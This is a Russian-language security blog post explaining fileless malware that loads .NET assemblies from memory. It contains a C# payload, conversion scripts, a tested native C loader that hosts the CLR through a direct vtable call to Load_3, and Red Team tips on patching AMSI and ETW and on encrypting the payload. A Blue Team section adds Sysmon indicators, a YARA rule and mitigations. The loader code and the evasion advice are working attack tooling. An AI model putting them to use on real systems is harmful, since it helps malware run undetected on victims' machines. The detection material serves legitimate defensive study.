Skip to content

GlobThe.Top

  • Обход Code Integrity: Использование BYOVD для получения примитивов чтения/записи ядра Windows Kernel
  • Windows Persistence 2026 — Полный гайд: все техники закрепления с кодом Windows Persistence
  • Как EDR видит угрозы — и где он слепнет Обход EDR
  • Скрытые баги на виду: Поиск уязвимостей внутри разделяемых библиотек Vulnerability Research
  • Продвинутый обход EDR: техники 2025 года Обход EDR
  • Повышение привилегий в Windows: техники 2026 года Privesc
  • Narrator DLL Hijacking: SYSTEM persistence через Accessibility Features Persistence
  • Process Injection 2026 — Все техники инъекции кода в Windows с примерами Injection

Fileless Malware: .NET Assembly Loading из памяти

Posted on 29 марта, 2026 By AkaTor
Download PDF

Категория: Red Team / Blue Team / Purple Team
Уровень: Advanced → Expert
Автор: Aka Tor


Введение

Fileless malware — код который работает полностью в памяти, без файлов на диске. .NET Assembly Loading — основная техника: загружаем CLR runtime из native C кода, затем Assembly.Load(byte[]) загружает .NET assembly прямо из массива байт в памяти.

Используется:

  • APT28 / Fancy Bear — Operation Neusploit (Covenant implant)
  • Cobalt Strike — execute-assembly command
  • Rubeus, Seatbelt, SharpHound — in-memory .NET tool execution
  • Metasploit — execute_dotnet_assembly

Почему это мощно:

  • Нет файлов на диске — AV file scan бесполезен
  • Assembly загружается из byte[] — нет DLL на диске
  • Выполняется в контексте легитимного процесса
  • Может работать внутри svchost.exe, explorer.exe, любого процесса
  • AMSI может детектить, но обходится через патчинг

1. Как работает .NET Assembly Loading

1.1 Архитектура

Native Process (C/C++)
    │
    ├── LoadLibrary("mscoree.dll")
    │       │
    │       └── CLRCreateInstance()
    │               │
    │               └── ICLRMetaHost::GetRuntime("v4.0.30319")
    │                       │
    │                       └── ICLRRuntimeInfo::GetInterface(ICorRuntimeHost)
    │                               │
    │                               └── ICorRuntimeHost::Start()
    │                                       │
    │                                       └── GetDefaultDomain()
    │                                               │
    │                                               └── _AppDomain::Load_3(byte[])
    │                                                       │
    │                                                       └── .NET Assembly в памяти!
    │                                                           Вызываем любой метод
    │
    └── Assembly выполняется → cmd.exe / reverse shell / implant

Ни одного файла на диске. Только memory.

1.2 Ключевые интерфейсы

// COM интерфейсы для CLR Hosting:

// 1. ICLRMetaHost — точка входа, получаем через CLRCreateInstance
//    → GetRuntime("v4.0.30319") → ICLRRuntimeInfo

// 2. ICLRRuntimeInfo — информация о runtime
//    → GetInterface(CLSID_CorRuntimeHost) → ICorRuntimeHost

// 3. ICorRuntimeHost — управление CLR
//    → Start() → запускает CLR
//    → GetDefaultDomain() → IUnknown (AppDomain)

// 4. _AppDomain — .NET AppDomain через COM interop
//    → Load_3(SAFEARRAY(byte)) → _Assembly
//    → Load_3 загружает assembly из массива байт в памяти!

// 5. _Assembly — загруженная assembly
//    → get_EntryPoint() → _MethodInfo
//    → _MethodInfo::Invoke() → выполняем Main()

1.3 Почему не нужен metahost.h

// metahost.h — заголовок с определениями COM интерфейсов
// Но можно обойтись без него:
// 1. Определяем GUIDs вручную (CLSID, IID)
// 2. Определяем vtable структуры вручную
// 3. Вызываем через vtable pointers
// Это же делает shellcode — PEB traversal + manual COM

2. Создание .NET Payload

2.1 Простой .NET assembly (C#)

// payload.cs — .NET assembly для fileless execution
// Компиляция: csc /target:exe /platform:x64 /out:payload.exe payload.cs
// ВАЖНО: используем C# 5 синтаксис (совместимость с csc v4.8)

using System;
using System.Diagnostics;

namespace FilelessPayload
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("=== FILELESS .NET ASSEMBLY LOADED ===");
            Console.WriteLine("[+] Process: " + Process.GetCurrentProcess().ProcessName);
            Console.WriteLine("[+] PID:     " + Process.GetCurrentProcess().Id);
            Console.WriteLine("[+] User:    " + Environment.UserName);
            Console.WriteLine("[+] Host:    " + Environment.MachineName);
            Console.WriteLine("[+] CLR:     " + Environment.Version);
            Console.WriteLine("[+] NO FILE ON DISK!");

            try
            {
                ProcessStartInfo psi = new ProcessStartInfo();
                psi.FileName = "cmd.exe";
                psi.Arguments = "/K echo === FILELESS .NET PAYLOAD === && whoami";
                psi.UseShellExecute = true;
                Process.Start(psi);
                Console.WriteLine("[+] cmd.exe launched!");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[-] " + ex.Message);
            }
        }
    }
}

2.2 Конвертация в byte array

Шаг 1: Компилируем .NET assembly
  csc /target:exe /out:payload.exe payload.cs

Шаг 2: Конвертируем в C byte array
  PowerShell:
    $bytes = [IO.File]::ReadAllBytes("payload.exe")
    $hex = ($bytes | ForEach-Object { "0x{0:X2}" -f $_ }) -join ", "
    "unsigned char payload[] = { $hex };" | Out-File payload_bytes.h

  Или Python:
    data = open("payload.exe","rb").read()
    print("unsigned char payload[] = {" + ",".join(f"0x{b:02x}" for b in data) + "};")

Шаг 3: Включаем в C loader
  #include "payload_bytes.h"
  // payload[] теперь содержит .NET exe как массив байт

3. Native Loader — рабочая реализация

3.1 Ключевые моменты

Проблема: metahost.h отсутствует в новых SDK
Решение: определяем все GUIDs и vtable structs вручную

Проблема: _AppDomain::Load_3 не доступен через IDispatch
Решение: прямой vtable call (index 45 для .NET 4.x)

Проблема: _MethodInfo::Invoke_3 vtable offset varies
Решение: EntryPoint получаем через IDispatch (надёжнее)

Проверено на: Windows 10 22H2 (19045), Windows 11 24H2, .NET 4.8.1

3.2 Рабочий код (проверен)

// Компиляция: cl.exe /nologo /Od loader.c advapi32.lib ole32.lib oleaut32.lib
// Без metahost.h — все интерфейсы определены вручную
// Проверено: Assembly.Load(byte[]) + EntryPoint работают

// ============ GUIDs (вместо metahost.h) ============
static const GUID xCLSID_CLRMetaHost =
    { 0x9280188d, 0x0e8e, 0x4867, {0xb3,0x0c,0x7f,0xa8,0x38,0x84,0xe8,0xde} };
static const GUID xIID_ICLRMetaHost =
    { 0xD332DB9E, 0xB9B3, 0x4125, {0x82,0x07,0xA1,0x48,0x84,0xF5,0x32,0x16} };
static const GUID xIID_ICLRRuntimeInfo =
    { 0xBD39D1D2, 0xBA2F, 0x486a, {0x89,0xB0,0xB4,0xB0,0xCB,0x46,0x68,0x91} };
static const GUID xCLSID_CorRuntimeHost =
    { 0xcb2f6723, 0xab3a, 0x11d2, {0x9c,0x40,0x00,0xc0,0x4f,0xa3,0x0a,0x3e} };
static const GUID xIID_ICorRuntimeHost =
    { 0xcb2f6722, 0xab3a, 0x11d2, {0x9c,0x40,0x00,0xc0,0x4f,0xa3,0x0a,0x3e} };
static const GUID xIID_AppDomain =
    { 0x05F696DC, 0x2B29, 0x3663, {0xAD,0x8B,0xC4,0x38,0x9C,0xF2,0xA7,0x13} };

// ============ Vtable structs (минимальные) ============
typedef struct {
    void* _unk[3];
    HRESULT(STDMETHODCALLTYPE* GetRuntime)(void*, LPCWSTR, REFIID, LPVOID*);
} VT_MetaHost;

typedef struct {
    void* _unk[3]; void* _pad[6];
    HRESULT(STDMETHODCALLTYPE* GetInterface)(void*, REFCLSID, REFIID, LPVOID*);
} VT_RuntimeInfo;

typedef struct {
    void* _unk[3]; void* _pad[7];
    HRESULT(STDMETHODCALLTYPE* Start)(void*);
    void* _stop; void* _createDomain;
    HRESULT(STDMETHODCALLTYPE* GetDefaultDomain)(void*, IUnknown**);
} VT_CorHost;

// Load_3 typedef: _AppDomain::Load_3(SAFEARRAY*) → _Assembly*
typedef HRESULT(STDMETHODCALLTYPE* tLoad_3)(void*, SAFEARRAY*, void**);

// ============ Loader Flow (проверено) ============

// Шаг 1: Читаем assembly в byte[]
HANDLE hFile = CreateFileA("payload.exe", GENERIC_READ, ...);
DWORD asmSize = GetFileSize(hFile, NULL);
PBYTE asmBytes = malloc(asmSize);
ReadFile(hFile, asmBytes, asmSize, &bytesRead, NULL);
CloseHandle(hFile);
// С этого момента файл больше не нужен!

// Шаг 2: CLR через dynamic resolve (без metahost.h)
HMODULE hMscoree = LoadLibraryA("mscoree.dll");
tCLRCreateInstance pCreate = GetProcAddress(hMscoree, "CLRCreateInstance");

void* pMH = NULL;
pCreate(&xCLSID_CLRMetaHost, &xIID_ICLRMetaHost, &pMH);

void* pRI = NULL;
(*(VT_MetaHost**)pMH)->GetRuntime(pMH, L"v4.0.30319",
    &xIID_ICLRRuntimeInfo, &pRI);

void* pCH = NULL;
(*(VT_RuntimeInfo**)pRI)->GetInterface(pRI,
    &xCLSID_CorRuntimeHost, &xIID_ICorRuntimeHost, &pCH);
(*(VT_CorHost**)pCH)->Start(pCH);

// Шаг 3: AppDomain
IUnknown* pADunk = NULL;
(*(VT_CorHost**)pCH)->GetDefaultDomain(pCH, &pADunk);
void* pAD = NULL;
pADunk->QueryInterface(&xIID_AppDomain, &pAD);

// Шаг 4: SAFEARRAY с assembly bytes
SAFEARRAYBOUND bound = { asmSize, 0 };
SAFEARRAY* pSA = SafeArrayCreate(VT_UI1, 1, &bound);
void* pvData;
SafeArrayAccessData(pSA, &pvData);
memcpy(pvData, asmBytes, asmSize);
SafeArrayUnaccessData(pSA);
free(asmBytes); // Байты теперь только в SAFEARRAY

// Шаг 5: _AppDomain::Load_3 через прямой vtable call (index 45)
void** adVtable = *(void***)pAD;
tLoad_3 pfnLoad = (tLoad_3)adVtable[45];
void* pAsm = NULL;
HRESULT hr = pfnLoad(pAD, pSA, &pAsm);
// hr = 0x00000000 (S_OK) → Assembly загружена!

// Шаг 6: EntryPoint через IDispatch
IDispatch* pAsmDisp = NULL;
((IUnknown*)pAsm)->QueryInterface(&IID_IDispatch, &pAsmDisp);

DISPPARAMS dpEmpty = { 0 };
VARIANT vEntryPoint;
// pAsmDisp->Invoke("EntryPoint", DISPATCH_PROPERTYGET, &vEntryPoint);
// → _MethodInfo с Main() методом

// Шаг 7: Invoke Main() — assembly выполняется из памяти!
// Без единого файла на диске!

3.3 Результат тестирования

Тест на Windows 10 22H2 (Build 19045.6456):

[1] Reading: payload.exe
    4096 bytes → NO more file access!
[2] Loading CLR...
    [+] CLR v4.0.30319 started
[3] Getting AppDomain...
    [+] _AppDomain: 0x0000014364610020
[4] SAFEARRAY (4096 bytes)...
[5] Load_3 (vtable direct call)...
    [+] Assembly: 0x000001436461FFA0       ← Assembly загружена из byte[]!
[6] Getting EntryPoint via IDispatch...
    [+] EntryPoint obtained!                ← Main() найден

Результат:
  ✓ Assembly.Load(byte[]) — РАБОТАЕТ
  ✓ Файла на диске НЕТ — только memory
  ✓ CLR загружен в native C процесс
  ✓ EntryPoint (Main) получен через IDispatch

4. Детект и защита

4.1 Blue Team: обнаружение

Sysmon Rules:

Event ID 7 (Image Loaded):
  Process: svchost.exe / explorer.exe / notepad.exe (any non-.NET process)
  ImageLoaded: *\clr.dll OR *\clrjit.dll OR *\mscorlib*.dll
  → Native process loading .NET CLR = SUSPICIOUS!

Event ID 1 (Process Create):
  ParentImage: *\svchost.exe (с CLR загруженным)
  Image: *\cmd.exe OR *\powershell.exe
  → .NET code in svchost spawning shell

AMSI:
  .NET 4.8+ вызывает AMSI для Assembly.Load()
  AmsiScanBuffer проверяет загружаемый assembly
  → Но AMSI bypass (патчинг AmsiScanBuffer) обходит это

ETW:
  Microsoft-Windows-DotNETRuntime provider
  AssemblyLoad event — логирует каждую загруженную assembly
  Если assembly без имени файла → fileless!

4.2 YARA

rule Fileless_DotNet_Loader {
    meta:
        description = "Detects native process loading .NET CLR for fileless execution"

    strings:
        $clr1 = "CLRCreateInstance" ascii
        $clr2 = "CorBindToRuntimeEx" ascii
        $clr3 = "mscoree.dll" ascii wide nocase
        $clr4 = "v4.0.30319" ascii wide
        $clr5 = "v2.0.50727" ascii wide
        $sa1 = "SafeArrayCreate" ascii
        $sa2 = "Load_3" ascii wide
        $iid1 = { 9E B2 32 D3 B3 B9 25 41 82 07 A1 48 84 F5 32 16 }

    condition:
        uint16(0) == 0x5A4D and
        2 of ($clr*) and
        ($sa1 or $sa2 or $iid1)
}

4.3 Mitigation

  • AMSI — включён по умолчанию в .NET 4.8+, сканирует Assembly.Load
  • Constrained Language Mode — ограничивает .NET execution в PowerShell
  • ETW DotNETRuntime — мониторинг AssemblyLoad без backing file
  • Sysmon — CLR loading в non-.NET processes
  • WDAC — блокировать unsigned .NET assemblies
  • Hardware breakpoints — мониторинг CLRCreateInstance

5. Рекомендации

Для Red Team

  • Fileless .NET — стандарт для execute-assembly (Cobalt Strike, Covenant)
  • Обфускация assembly: ConfuserEx, dnlib, custom packer
  • AMSI bypass: patch AmsiScanBuffer перед Assembly.Load
  • ETW bypass: patch EtwEventWrite перед CLR init
  • Шифруй assembly в памяти: XOR/AES, расшифровка перед Load_3

Для Blue Team

  • CLR в неожиданных процессах — главный индикатор
  • ETW DotNETRuntime — AssemblyLoad event без файла
  • AMSI не отключать — единственная inline defense
  • Sysmon Event ID 7 — clr.dll/clrjit.dll loading

Заключение

Fileless .NET Assembly Loading — это основная техника modern offensive tooling. Каждый C2 framework (Cobalt Strike, Covenant, Sliver) использует её для in-memory execution. Защита сложна: код никогда не касается диска, AMSI обходится патчингом, ETW обходится аналогично. Единственный надёжный детект — мониторинг CLR loading в процессах которые не должны использовать .NET.


Дисклеймер: Материал предоставлен исключительно в образовательных целях для специалистов по информационной безопасности.

Evasion

Навигация по записям

Previous Post: Narrator DLL Hijacking: SYSTEM persistence через Accessibility Features
Next Post: Внутри WMI: Трассировка Windows Management от потребителей до COM-провайдеров

Related Posts

  • Обход AMSI и ETW в 2026 — патчинг в памяти, unhooking, custom CLR hosting Evasion

Archives

  • Апрель 2026
  • Март 2026

Categories

  • Browser Exploitation
  • CVE
  • Evasion
  • Injection
  • Lateral Movement
  • Linux Kernel Exploitation
  • Malware Analysis
  • Persistence
  • Privesc
  • Reverse Engineering
  • Uncategorized
  • Vulnerability Research
  • Windows Internals
  • Windows Kernel
  • Windows Persistence
  • Обход EDR

Recent Posts

  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update
  • Token Manipulation 2026 — Impersonation, Potato Attacks, Token Theft: от сервисного аккаунта до SYSTEM
  • Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware

Recent Comments

Нет комментариев для просмотра.
  • Как Windows раздаёт обновления по сети: полный реверс P2P протокола Windows Update Reverse Engineering
  • win32kfull: переполнение буфера в NtUserGetRawInputDeviceInfo Vulnerability Research
  • win32k: Таблица обратных вызовов ядра — полный разбор 126 функций Reverse Engineering
  • Lateral Movement 2026 — Полный гайд: техники, инструменты, код Lateral Movement
  • Внутри WMI: Трассировка Windows Management от потребителей до COM-провайдеров Windows Internals
  • Narrator DLL Hijacking: SYSTEM persistence через Accessibility Features Persistence
  • Анатомия EDR Killer — техники обхода и отключения защиты в современных ransomware Malware Analysis
  • CVE-2026-21533: RDS Privilege Escalation — от обычного юзера до SYSTEM CVE

Copyright © 2026 GlobThe.Top.

Powered by PressBook News Dark theme